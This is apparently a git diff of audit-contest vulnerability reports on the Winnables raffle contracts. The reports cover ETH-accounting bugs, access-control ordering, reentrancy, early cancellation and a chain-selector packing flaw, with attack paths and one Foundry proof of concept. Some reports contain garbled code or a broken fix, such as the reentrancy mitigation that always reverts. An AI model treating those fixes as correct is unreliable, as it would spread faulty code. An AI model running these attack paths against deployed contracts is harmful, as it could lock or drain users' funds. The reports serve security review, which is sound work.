+_lockedETH Inconsistency in refundPlayers Function +[gh_link](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215) +The missing update of `_lockedETH` in the `refundPlayers` function will cause potential fund locking for the contract owner (unintentionally) or a malicious user will lock the contract's ETH balance through repeated raffle cancellations and refunds, leaving `_lockedETH` artificially high. + + + +### Root Cause + +In [WinnablesTicketManager.sol:refundPlayers](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L215) the _lockedETH state variable is not decreased when refunds are processed, leading to an inconsistency between the actual locked ETH and the tracked amount. + +### Internal pre-conditions + +1. The contract needs to have multiple raffles created with significant ETH locked. + +2. At least one raffle needs to be in a state where it can be canceled. + +3. The `_lockedETH` value needs to be close to the total contract balance. + +### External pre-conditions + +N/A + +### Attack Path + +1. **Initial State**: + - The contract starts with a certain amount of ETH balance. + - `_lockedETH` accurately represents the amount of ETH locked in active raffles. + +2. **Ticket Purchase**: + - When users buy tickets using the `buyTickets` function, `_lockedETH` is increased: + ```solidity + unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; + } + ``` + +3. **Raffle Cancellation**: + - An attacker or admin cancels a raffle using the `cancelRaffle` function. + - This changes the raffle status to `RaffleStatus.CANCELED`. + +4. **Refund Process**: + - The `refundPlayers` function is called to refund participants: + ```solidity + function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + // ... refund logic ... + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + // ... more logic ... + } + } + ``` + - Crucially, this function does not update `_lockedETH`. + +5. **State After Refund**: + - The contract's ETH balance has decreased by the refunded amount. + - However, `_lockedETH` remains unchanged, now higher than the actual locked amount. + +6. **Repeated Process**: + - Steps 3-5 are repeated for multiple raffles, exacerbating the discrepancy. + +7. **Withdrawal Attempt**: + - The contract owner attempts to withdraw available ETH using `withdrawETH`: + ```solidity + function withdrawETH(uint256 amount) external onlyRole(0) { + uint256 balance = address(this).balance; + uint256 availableBalance; + unchecked { availableBalance = balance - _lockedETH; } + if (availableBalance < amount) revert InsufficientBalance(); + _sendETH(amount, msg.sender); + } + ``` + - This function calculates available balance as `balance - _lockedETH`. + +8. **Withdrawal Failure**: + - Due to the inflated `_lockedETH`, `availableBalance` is much lower than it should be. + - The condition `if (availableBalance < amount) revert InsufficientBalance();` is triggered, causing the withdrawal to fail. + +9. **Result**: + - The contract now holds ETH that should be available for withdrawal. + - However, this ETH is effectively locked due to the inconsistency in `_lockedETH`. + - The contract owner cannot withdraw these funds through normal means. + + +### Impact + +Admins suffers from the inability to withdraw legitimately available ETH. The attacker doesn't directly gain ETH but can effectively grief the contract by locking funds. In extreme cases, this could lead to all ETH in the contract becoming non-withdrawable, even if it should be available. + +### PoC + + + +- Total ETH in contract: 10 ETH +- `_lockedETH`: 8 ETH (representing ETH locked for potential refunds) +- Available ETH for withdrawal: 2 ETH (10 ETH - 8 ETH) + + + +1. A raffle (ID: 100) is cancelled. It had 4 participants who each contributed 2 ETH. + +2. The contract owner calls `refundPlayers` to refund these 4 players: + +```solidity +refundPlayers(100, [player1, player2, player3, player4]) +``` + +3. The function successfully refunds 2 ETH to each player, totaling 8 ETH refunded. + + + +After the refunds, the contract's state is: + +- Total ETH in contract: 2 ETH (10 ETH - 8 ETH refunded) +- `_lockedETH`: Still 8 ETH (unchanged from before) +- Available ETH for withdrawal: -6 ETH (2 ETH - 8 ETH), which doesn't make sense + + + +- The contract thinks it still needs to keep 8 ETH locked, even though it only has 2 ETH left. + +- If there's a `withdrawETH` function that checks against `_lockedETH`, it would prevent any withdrawals because the contract thinks all remaining ETH (and more) is locked. + +```solidity +function withdrawETH(uint256 amount) external onlyRole(0) { + uint256 balance = address(this).balance; + uint256 availableBalance; + unchecked { availableBalance = balance - _lockedETH; } + if (availableBalance < amount) revert InsufficientBalance(); + // ... rest of withdrawal logic +} +``` + +In this case, `availableBalance` would be calculated as 2 ETH - 8 ETH = -6 ETH (underflow in unchecked block), making any withdrawal impossible. + +Anyone querying the contract would think it has 8 ETH locked for refunds, when in reality all refunds have been processed. + + + +### Mitigation + +Consider updating locked ETH in refundPlayers. + +```diff +function refundPlayers(uint256 raffleId, address[] calldata players) external { + // ... existing logic ... + uint256 totalRefunded = 0; + for (uint256 i = 0; i < players.length; ) { + // ... refund logic ... + totalRefunded += amountToSend; + } ++ unchecked { ++ _lockedETH -= totalRefunded; ++ } +} +``` + +After refunds with this fixed function: + +- Total ETH in contract: 2 ETH +- `_lockedETH`: 0 ETH (8 ETH - 8 ETH refunded) +- Available ETH for withdrawal: 2 ETH (2 ETH - 0 ETH) + diff --git a/001/432.md b/001/432.md new file mode 100644 index 0000000..3e748c4 --- /dev/null +++ b/001/432.md @@ -0,0 +1,49 @@ +Large Foggy Troll + +High + +# Malicious attacker can cause erc20 tokens to be locked in WinnablesTicketManager.sol + +### Summary + +The incorrect 'equality symbol' in withdrawTokens (`WinnablesTicketManager.sol:295`) will allow an attacker to stop the tokens from being withdrawn by depositing small quantities of the token into it. + +### Root Cause + +In `WinnablesTicketManager.sol:295` (https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L292-L297) the check `amount < balance` is wrong. When `amount > balance` withdrawal will fail (in the safeTransfer function call below) due to insufficient balance in the contract. And since withdrawal will only be work if amount == balance, a malicious attacker can keep depositing small quantity of token to prevent withdrawal. + +When an attacker deposits a small quantity of the erc20token just before the withdrawal call from the admin, the balance increases, which causes `amount != balance`. This will make the admins withdrawal to fail since the function requires amount == balance. + +### Internal pre-conditions + +The only pre-condition is that the admin wants calls the `withdrawTokens` function. + +### External pre-conditions + +No external pre-condition. + +### Attack Path + +1. Admin calls the withdrawToken function with amount = 10tokens (assume balance in contract is 10 tokens and admin wants to withdraw this) +2. Attacker frontruns this transaction and deposits 1token to the contract. This increases the balance of the contract to 11tokens. +3. When admins transaction is being executed, the check `amount < balance` succeeds, as 10<11 is true. This causes the transaction to revert. + +### Impact + +This would cause the admin to never be able to withdraw the erc20 tokens inside the WinnablesTicketManager. + +### PoC + +_No response_ + +### Mitigation + +Change the '<' symbol to '>' in line 295: +```solidity +function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + if (amount > balance) revert InsufficientBalance(); // updated equality + token.safeTransfer(msg.sender, amount); + } +``` \ No newline at end of file diff --git a/001/433.md b/001/433.md new file mode 100644 index 0000000..3590614 --- /dev/null +++ b/001/433.md @@ -0,0 +1,67 @@ +Gorgeous Tweed Moose + +High + +# Critical Access Control Vulnerability in claimPrize Function Allows Unauthorized Prize Claims + +## Summary +The `claimPrize` function in the `WinnablesPrizeManager.sol` smart contract contains a severe access control vulnerability. The function performs prize distribution actions before verifying if the caller is the legitimate winner. This allows any address to claim prizes for any raffle, potentially draining the contract of its assets + +## Vulnerability Detail +The vulnerability is in the claimPrize function: +```solidity +function claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = *rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = *nftRaffles[raffleId]; + *nftLocked[raffle.contractAddress][raffle.tokenId] = false; + *sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = *tokenRaffles[raffleId]; + unchecked { + *tokensLocked[raffle.tokenAddress] -= raffle.amount; + } + *sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { + *ethLocked -= *ethRaffles[raffleId]; + } + *sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); +} +``` +The critical issue is that the function performs the prize distribution (sending NFTs, tokens, or ETH) before checking if the caller (msg.sender) is the legitimate winner. The check if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); is performed after the prizes have already been sent. + +## Impact +The impact of this vulnerability is severe: + +Any address can claim prizes for any raffle, regardless of whether they are the actual winner. +The contract's assets (NFTs, tokens, and ETH) can be drained by malicious actors. +Legitimate winners may be unable to claim their prizes if they've already been claimed by an attacker. +The integrity of the entire raffle system is compromised, potentially leading to financial losses and loss of trust in the platform. + +## Tools Used +Manual code Review + +## Recommendations + +Move the winner and claimed status checks to the beginning of the function: + +solidityCopyfunction claimPrize(uint256 raffleId) external { + RafflePrize storage rafflePrize = *rafflePrize[raffleId]; + + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + + RaffleType raffleType = rafflePrize.raffleType; + + // ... rest of the function ... +} diff --git a/001/434.md b/001/434.md new file mode 100644 index 0000000..5f2bf03 --- /dev/null +++ b/001/434.md @@ -0,0 +1,48 @@ +Keen Scarlet Loris + +High + +# Any user can cancel a raffle before it starts + +## Summary +WinnablesTicketManager.sol::`_checkShouldCancel()` function has improper logic that makes a raffle canceled if invoked before a raffle is started by admins + +## Vulnerability Detail +For a raffle to start, admins need to first lock the prize on Ethereum. When they do it, a raffle's status is changed from `NONE` to `PRIZE_LOCKED` . Second, admins have to invoke `createRaffle()` on Avalanche, which changes the raffle's status to `IDLE`. However, between these steps, a malicious user can invoke `cancelRaffle()` which will irreversibly cancel the raffle. +The vulnerability is in WinnablesTicketManager.sol, `cancelRaffle()` function invokes `_checkShouldCancel()`, which wrongly doesn't revert when a raffle's status is `PRIZE_LOCKED`. Because of that, a raffle can be canceled before it's started by admins. +```solidity +function cancelRaffle(address prizeManager, uint64 chainSelector, uint256 raffleId) external { +@> _checkShouldCancel(raffleId); + + _raffles[raffleId].status = RaffleStatus.CANCELED; + _sendCCIPMessage( + prizeManager, + chainSelector, + abi.encodePacked(uint8(CCIPMessageType.RAFFLE_CANCELED), raffleId) + ); + IWinnablesTicket(TICKETS_CONTRACT).refreshMetadata(raffleId); + } +``` +```solidity +function _checkShouldCancel(uint256 raffleId) internal view { + Raffle storage raffle = _raffles[raffleId]; +@> if (raffle.status == RaffleStatus.PRIZE_LOCKED) return; + if (raffle.status != RaffleStatus.IDLE) revert InvalidRaffle(); + if (raffle.endsAt > block.timestamp) revert RaffleIsStillOpen(); + uint256 supply = IWinnablesTicket(TICKETS_CONTRACT).supplyOf(raffleId); + if (supply > raffle.minTicketsThreshold) revert TargetTicketsReached(); + } +``` +## Impact +Any raffle can be canceled by any user + +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L278-L288 +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L434-L441 + +## Tool used + +Manual Review + +## Recommendation +Remove the `raffle.status == RaffleStatus.PRIZE_LOCKED` check in `_checkShouldCancel()` diff --git a/001/435.md b/001/435.md new file mode 100644 index 0000000..e7e06aa --- /dev/null +++ b/001/435.md @@ -0,0 +1,240 @@ +Spare Parchment Millipede + +Medium + +# `_packCCIPContract` in `BaseCCIPContract` ignores `chainSelector` leading to potential clash in counterpart contract states + +## Summary +The `BaseCCIPContract` has `mapping(bytes32 => bool) internal _ccipContracts` to store the Linked CCIP Contract addresses. Thus, the information regarding both `contractAddress` and `chainSelector` needs to be stored. + +However, the way it is implemented completely ignores the `chainSelector` of the contract. Thus, if any of the counterparts is deployed on two chains with the same address, enabling or disabling one contract will lead to doing the same for the other. + +As confirmed by the sponsors below, the protocol is flexible on deploying `WinnablesPrizeManager` on different chains; this issue has clearly become a reality. + +![Screenshot 2024-08-20 at 4 01 25 PM](https://github.com/user-attachments/assets/8f0c1f95-a7a7-4a0c-984c-d8dc1d889a2b) + + +## Vulnerability Detail +In the implementation of `_packCCIPContract`, the code is taking `or` between + ` uint256(uint160(contractAddress)) | uint256(chainSelector << 160)` which is incorrect. + +Given that `chainSelector` is `uint64`, it first needs to be typecasted to `uint256` and then only should it be shifted by 160 bits. + + As of now, the `chainSelector` is uint64 when it is getting shifted by 160 bits, which will always lead to having all 0s, essentially `uint256(chainSelector << 160)` will always be `0x000....00000000`. + + Thus when it is taken `or` with `uint256(uint160(contractAddress))`, the result will only have `contractAddress` saved. + +```solidity +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + /** + * @audit potential High -> packing does not work as expected! + * uint256(chainSelector << 160) means that we are shifting a uint64 by 160 bits before + * typecasting it to uint256 this will lead to problem as all the bits will be shifted + * out of the 64 bit range it will always result in 0 + */ + return bytes32( + uint256(uint160(contractAddress)) | + uint256(chainSelector << 160) // chainSelector needs to be typecasted to uint256 first! + // should be (uint256(chainSelector) << 160) + ); +} +``` + +This incorrect value is then set to `mapping(bytes32 => bool) internal _ccipContracts` by using `_setCCIPCounterpart` which internally calls `_packCCIPContract`. + +## Impact +There are multiple ways in which it impacts the entire protocol! + +1. `BaseCCIPContract` is inherited by both `WinnablesTicketmanager` and `WinnablesPrizeManager`, and thus `_packCCIPContract` is incorrectly used in both contracts to save the mapping of counterparts in `_ccipContracts` mapping. This breaks the assumption that both `chain` and `chainSelector` is saved + +2. Given that the protocols does plan to deploy on other chains too as seen from the screenshot. Following scenario is highly troubleSome: + +ideally _ccipContracts for PrizeManager on Eth -> `_ccipContract[ethChainSelector + address on ETH(address A)]` + +But in reality only addressA is saved hence -> `_ccipContract[addressA]` + +Now if on any other chain (say Arbitrum) if prizeManager is deployed via create2 or via simple deploy but same wallet + same nonce (this is quite common if the wallet is performing 1st txn on both chains) the address will be same `addressA`. + +In such chase PrizeManager on Arbitrum will also have -> `_ccipContract[addressA]` -> now if you enable/disable one using `setCCIPCounterpart(chainselector, address, enabled)`, both will be enabled or disabled. + +## Proof of Concept: + +Add the following mock contract to `mock` folder: + +
+ MockCCIPContract + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import "../BaseCCIPContract.sol"; + +contract MockCCIPContract is BaseCCIPContract { + constructor(address router) BaseCCIPContract(router) {} + + // Expose the _setCCIPCounterpart for testing + function setCCIPCounterpart( + address contractAddress, + uint64 chainSelector, + bool enabled + ) public { + _setCCIPCounterpart(contractAddress, chainSelector, enabled); + } + + // Expose the mapping for validation in tests + function isCCIPContractEnabled(bytes32 counterpart) public view returns (bool) { + return _ccipContracts[counterpart]; + } + + // Function to manually pack addresses and selectors for testing the packing logic + function packCCIPContract(address contractAddress, uint64 chainSelector) public pure returns (bytes32) { + return _packCCIPContract(contractAddress, chainSelector); + } +} +``` + +
+ +Run add the following Foundry test to `test` folder: + + +
+ Foundry Test : BasicCCIPTest.t.sol + +```solidity +// SPDX-License-Identifier: UNLICENSED +pragma solidity 0.8.24; + +import {Test, console} from "forge-std/Test.sol"; +import "../contracts/mock/MockCCIPContract.sol"; + +contract BaseCCIPContractTest is Test { + MockCCIPContract mock; + address testRouter = address(0x1); + /** + * assuming winnablesPrizeManager address is same on ethereum and arbitrum, this is quite common for protocols + * to have uniform address across chains, and can be due to two reasons: + * 1. Using create2 to deploy contracts on a predetermined address + * 2. Using normal deployment but with same wallet and same nonce -> this is also quite common as deployer is usually + * a multisig and a lot of times can have nonce 0 on newer chains if there hasn't been any txn performed before + */ + address winnablesPrizeManager = address(makeAddr("WinnablesPrizeManager")); + uint64 ethereumChainSelector = 16015286601757825753; // as per constants.js + uint64 arbitrumChainSelector = 3478487238524512106; // as per constants.js + + function setUp() public { + mock = new MockCCIPContract(testRouter); + } + + function testPackCCIPContract() public { + bytes32 expectedEthereumPacking = bytes32( + uint256(uint160(winnablesPrizeManager)) | + (uint256(ethereumChainSelector) << 160) + ); + + bytes32 expectedArbitrumPacking = bytes32( + uint256(uint160(winnablesPrizeManager)) | + (uint256(arbitrumChainSelector) << 160) + ); + bytes32 ethereumPacking = mock.packCCIPContract(winnablesPrizeManager, ethereumChainSelector); + bytes32 arbitrumPacking = mock.packCCIPContract(winnablesPrizeManager, arbitrumChainSelector); + console.log("incorrect chainSelector shift by uint256(ethereumChainSelector << 160) "); + console.logBytes32( bytes32(uint256(ethereumChainSelector << 160))); + console.log("correct chainSelector shift by (uint256(ethereumChainSelector) << 160) "); + console.logBytes32(bytes32((uint256(ethereumChainSelector) << 160))); + + console.log("Expcted ccipPacking on Ethereum"); + console.logBytes32(expectedEthereumPacking); + console.log("Actual ccipPacking Ethereum"); + console.logBytes32(ethereumPacking); + + console.log("Expcted ccipPacking on Arbitrum"); + console.logBytes32(expectedArbitrumPacking); + console.log("Actual ccipPacking Ethereum"); + console.logBytes32(arbitrumPacking); + + assertNotEq(ethereumPacking, expectedEthereumPacking); + assertNotEq(arbitrumPacking, expectedArbitrumPacking); + + assertEq(ethereumPacking, arbitrumPacking); + } + + function testSetCCIPCounterPartClashes() public { + // get bytes32 counterpart packing for both chains: + bytes32 ethereumPacking = mock.packCCIPContract(winnablesPrizeManager, ethereumChainSelector); + bytes32 arbitrumPacking = mock.packCCIPContract(winnablesPrizeManager, arbitrumChainSelector); + + // set eth counter part to true + mock.setCCIPCounterpart(winnablesPrizeManager, ethereumChainSelector, true); + + // set arbitrum counterpart to false + mock.setCCIPCounterpart(winnablesPrizeManager, arbitrumChainSelector, false); + + // check both will be FALSE -> as arbitrum was executed afterwards: + console.log("is ethereum counterpart enabled ",mock.isCCIPContractEnabled(ethereumPacking)); + console.log("is arbitrum counterpart enabled ",mock.isCCIPContractEnabled(ethereumPacking)); + + assertEq(mock.isCCIPContractEnabled(ethereumPacking), false); // is false even though it was supposed to be true + assertEq(mock.isCCIPContractEnabled(arbitrumPacking), false); + } +} +``` + +
+ + +Run the test using: +```bash +forge test --match-path test/BasicCCIPTest.t.sol -vvv +``` + +Output log: +
+ Output Log + +```bash +Ran 2 tests for test/BasicCCIPTest.t.sol:BaseCCIPContractTest +[PASS] testPackCCIPContract() (gas: 24290) +Logs: + incorrect chainSelector shift by uint256(ethereumChainSelector << 160) + 0x0000000000000000000000000000000000000000000000000000000000000000 + correct chainSelector shift by (uint256(ethereumChainSelector) << 160) + 0x00000000de41ba4fc9d91ad90000000000000000000000000000000000000000 + Expcted ccipPacking on Ethereum + 0x00000000de41ba4fc9d91ad9c47c9dea870af03cfa09520fb5d7c0ed34920a38 + Actual ccipPacking Ethereum + 0x000000000000000000000000c47c9dea870af03cfa09520fb5d7c0ed34920a38 + Expcted ccipPacking on Arbitrum + 0x00000000304611b6affba76ac47c9dea870af03cfa09520fb5d7c0ed34920a38 + Actual ccipPacking Ethereum + 0x000000000000000000000000c47c9dea870af03cfa09520fb5d7c0ed34920a38 + +[PASS] testSetCCIPCounterPartClashes() (gas: 33432) +Logs: + is ethereum counterpart enabled false + is arbitrum counterpart enabled false + +Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.50ms (439.12µs CPU time) +``` +
+ +## Code Snippet +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/BaseCCIPContract.sol#L40-L45 + +## Tool used + +Manual Review, Foundry + +## Recommendation +Change the `_packCCIPContract` function to: + +```diff +function _packCCIPContract(address contractAddress, uint64 chainSelector) internal pure returns(bytes32) { + return bytes32( + uint256(uint160(contractAddress)) | +- uint256(chainSelector << 160) ++ (uint256(chainSelector) << 160) + ); +} +``` \ No newline at end of file diff --git a/001/437.md b/001/437.md new file mode 100644 index 0000000..85db5ba --- /dev/null +++ b/001/437.md @@ -0,0 +1,89 @@ +Large Foggy Troll + +High + +# Admin won't be able to withdraw ETH after a raffle cancellation + +### Summary + +Not updating the `_lockedEth` in refundPlayers function will cause the admin to not be able to withdraw eth(raised from raffles) ever after. + +### Root Cause + +In refundPlayers, the `_lockedEth` variable is not decremented(`WinnablesTicketManager.sol:215`), and thus leads to `withdrawEth` function to always revert. (`WinnablesTicketManager.sol:300`). +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) (https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) + +### Internal pre-conditions + +At least 1 raffle must have been cancelled. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Assume a raffle has been created and it raises 100ETH. (this makes `_lockedEth = 100ETH`) (balance of the contract = 100ETH). +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L182-L210) +```solidity +unchecked { + raffle.totalRaised += msg.value; + _userNonces[msg.sender]++; + _lockedETH += msg.value; +} +``` +2. This raffle is cancelled and all the players refund their paid amount. (since refundPlayers doesn't decrement _lockedEth, `lockedEth = 100ETH`) (balance of the contract = 0ETH). +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L215-L228) + +3. Another raffle is created and it raises 50ETH. (this makes `_lockedEth = 150ETH`) (balance of the contract = 50ETH). +4. This raffle gets completed and the _lockedEth is updated in the propagateRaffleWinner function. (this makes `_lockedEth = 150 - 50ETH = 100ETH) (balance of the contract = 50ETH). +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L334-L345) +```solidity +unchecked { + _lockedETH -= raffle.totalRaised; + } +``` +5. Admin tries to withdraw the raised eth (50ETH raised in the recent raffle) by calling the withdrawEth function. + +6. In the withdrawEth function, balance = balance of contract - _lockedETH => balance = 50 - 150 ETH. Since this is in the unchecked block of the function, the result will be a large number thus causing the `_sendEth` function to revert. +(https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesTicketManager.sol#L300-L306) +```solidity +function withdrawETH() external onlyRole(0) { + uint256 balance; + unchecked { + balance = address(this).balance - _lockedETH; + } + _sendETH(balance, msg.sender); +} +``` + + + +### Impact + +This would mean that once a raffle is cancelled, the `_lockedEth` will always be greater than balance of the contract. And the admin will never be able to claim the eth raised by future raffles. Thus, leading to 100% loss of funds for future raffles. + +### PoC + +_No response_ + +### Mitigation + +A way to mitigate this issue is to decrement the _lockedEth when a refund is done. +```solidity +function refundPlayers(uint256 raffleId, address[] calldata players) external { + Raffle storage raffle = _raffles[raffleId]; + if (raffle.status != RaffleStatus.CANCELED) revert InvalidRaffle(); + for (uint256 i = 0; i < players.length; ) { + address player = players[i]; + uint256 participation = uint256(raffle.participations[player]); + if (((participation >> 160) & 1) == 1) revert PlayerAlreadyRefunded(player); + raffle.participations[player] = bytes32(participation | (1 << 160)); + uint256 amountToSend = (participation & type(uint128).max); + _sendETH(amountToSend, player); + emit PlayerRefund(raffleId, player, bytes32(participation)); + unchecked { ++i; } + _lockedEth -= amountToSend; // updating the lockedEth + } +} +``` \ No newline at end of file diff --git a/001/439.md b/001/439.md new file mode 100644 index 0000000..d174492 --- /dev/null +++ b/001/439.md @@ -0,0 +1,51 @@ +Lively Coconut Panther + +Medium + +# Admin Can Decide Who Will Be The Winner + +## Summary + +Admins are trusted roles , but they come with certain conditions as mentioned in the README -> + +* Winnables admins cannot do anything to prevent a winner from withdrawing their prize +* Participants in a raffle that got cancelled can always get refunded +* Admins cannot affect the odds of a raffle + +But , the admin can control who will be the winner as explained below. + + +## Vulnerability Detail + +1.) Let's assume users have bought tickets , and chainlink VRF has sent the random number which is assigned to `request.randomWord = randomWords[0];` + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L357 + +2.) At this point everyone knows which ticket will be the winner , since the random number has been assigned. Our admin sees this and decides this is not the winner he wants. + +3.) Before the winner or anyone could call `propagateRaffleWinner()` ( via frontrunninf for example) , the admin sets his malicious counterpart as a valid counterpart (using `setCCIPCounterpart()` ) and sends a message to the prize manager contract with his choice of winner in the message data. + +4.) The winner gets assigned to admin's winner choice here -> + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L276 + +5.) The new winner calls claimPrize() and claims the prize locked in prize manager , + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + + +## Impact + +The admin can control the winner and the real winner would loose his prize , violating the truth that should be held + +## Code Snippet + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesPrizeManager.sol#L276 + +## Tool used + +Manual Review + +## Recommendation + +Maintain a whitelist of valid counterparts. \ No newline at end of file diff --git a/001/441.md b/001/441.md new file mode 100644 index 0000000..e43399e --- /dev/null +++ b/001/441.md @@ -0,0 +1,58 @@ +Cuddly Daisy Seagull + +High + +# Winner can steal all `_ethLocked` present in the `WinnablesPrizeManager` through reentrancy + +## Summary +The `claimPrize` function can be reentered by the winner of a raffle and steal all `_ethLocked` in the `WinnablesPrizeManager` contract. + +## Vulnerability Detail + +The `claimPrize` function allows for user to enter the `raffleId` and claim their prize. However, The function only checks for the raffle type and in case the raffle type is it then it reduces the locked amount and then send the respective amount to the `msg.sender` using `call`. +Now the winner can re-enter the `claimPrize` function again and receive the same amount od Ether. This can be repeated until all the funds are drained and then the rest of the function executes. +After which the `msg.sender` is verified, and the `RafflePrizeStatus` is set to `CLAIMED`. + +https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/81b28633d0f450e33a8b32976e17122418f5d47e/public-contracts/contracts/WinnablesPrizeManager.sol#L105 + +## Impact +All funds drained in `WinnablesPrizeManager` contract. + +## Code Snippet +```solidity + function claimPrize(uint256 raffleId) external { // @audit : winner can reenter and drain all locked eth. + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; + RaffleType raffleType = rafflePrize.raffleType; + if (raffleType == RaffleType.NFT) { + NFTInfo storage raffle = _nftRaffles[raffleId]; + _nftLocked[raffle.contractAddress][raffle.tokenId] = false; + _sendNFTPrize(raffle.contractAddress, raffle.tokenId, msg.sender); // @note : can there be a reentrancy here of some kind? + } else if (raffleType == RaffleType.TOKEN) { + TokenInfo storage raffle = _tokenRaffles[raffleId]; + unchecked { _tokensLocked[raffle.tokenAddress] -= raffle.amount; } + _sendTokenPrize(raffle.tokenAddress, raffle.amount, msg.sender); + } else if (raffleType == RaffleType.ETH) { + unchecked { _ethLocked -= _ethRaffles[raffleId]; } + _sendETHPrize(_ethRaffles[raffleId], msg.sender); + } else revert InvalidRaffle(); + if (msg.sender != rafflePrize.winner) revert UnauthorizedToClaim(); + if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + rafflePrize.status = RafflePrizeStatus.CLAIMED; + emit PrizeClaimed(raffleId, msg.sender); + } +``` + +## Tool used + +Manual Review + +## Recommendation +Use OZ `ReentrancyGuard`to protect the function from reentrancy. +Alternatively set the `rafflePrize.status` to claimed at the start of the function +```solidity + function claimPrize(uint256 raffleId) external { // @audit : winner can reenter and drain all locked eth. + RafflePrize storage rafflePrize = _rafflePrize[raffleId]; ++ rafflePrize.status = RafflePrizeStatus.CLAIMED; ++ if (rafflePrize.status == RafflePrizeStatus.CLAIMED) revert AlreadyClaimed(); + RaffleType raffleType = rafflePrize.raffleType; +``` \ No newline at end of file diff --git a/001/442.md b/001/442.md new file mode 100644 index 0000000..1f3f2e4 --- /dev/null +++ b/001/442.md @@ -0,0 +1,46 @@ +Deep Flint Finch + +Medium + +# Incorrect check in WinnablesTicketManager::withdrawTokens function so admins cannot perform partial withdrawals + +### Summary + +_No response_ + +### Root Cause + +In [WinnablesTicketManager.sol:295](https://github.com/sherlock-audit/2024-08-winnables-raffles/blob/main/public-contracts/contracts/WinnablesTicketManager.sol#L295) the check is wrong + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +The admins call withdrawTokens with amount < balance or amount > balance will revert + +### Impact + +1. Admins cannot perform partial withdrawals, potentially causing inconvenience. +2. Attempting to withdraw more than the available balance is allowed by this check, which could lead to confusing errors or unexpected behavior. + +### PoC + +_No response_ + +### Mitigation +```solidity + function withdrawTokens(address tokenAddress, uint256 amount) external onlyRole(0) { + IERC20 token = IERC20(tokenAddress); + uint256 balance = token.balanceOf(address(this)); + // if (amount < balance) revert InsufficientBalance(); remove this + if (amount > balance) revert InsufficientBalance(); // add this + token.safeTransfer(msg.sender, amount); + } +``` + diff --git a/001/443.md b/001/443.md new file mode 100644 index 0000000..43d1be6 --- /dev/null +++ b/001/443.md @@ -0,0 +1,56 @@ +Bumpy Plastic Bee + +Medium + +# cancelRaffle() doesn't verify the prizeManager/chainSelector before sending ccip message + +## Summary +cancelRaffle() doesn't verify the prizeManager/chainSelector before sending ccip message + +## Vulnerability Detail +When user cancel raffle then they pass `prizeManager` & `chainSelector`, which is used to send ccip message to prizeManager contract. On receiving this message prizeManager `releases` the locked ETH or Token or NFT + +cancelRaffle() doesn't verify the prizeManger/chainSelector before making ccip call. As result a malicious user can create a fake prizeManager, which can receive ccip message. Now use that address in cancelRaffle() to cancel the raffle. +```solidity + function 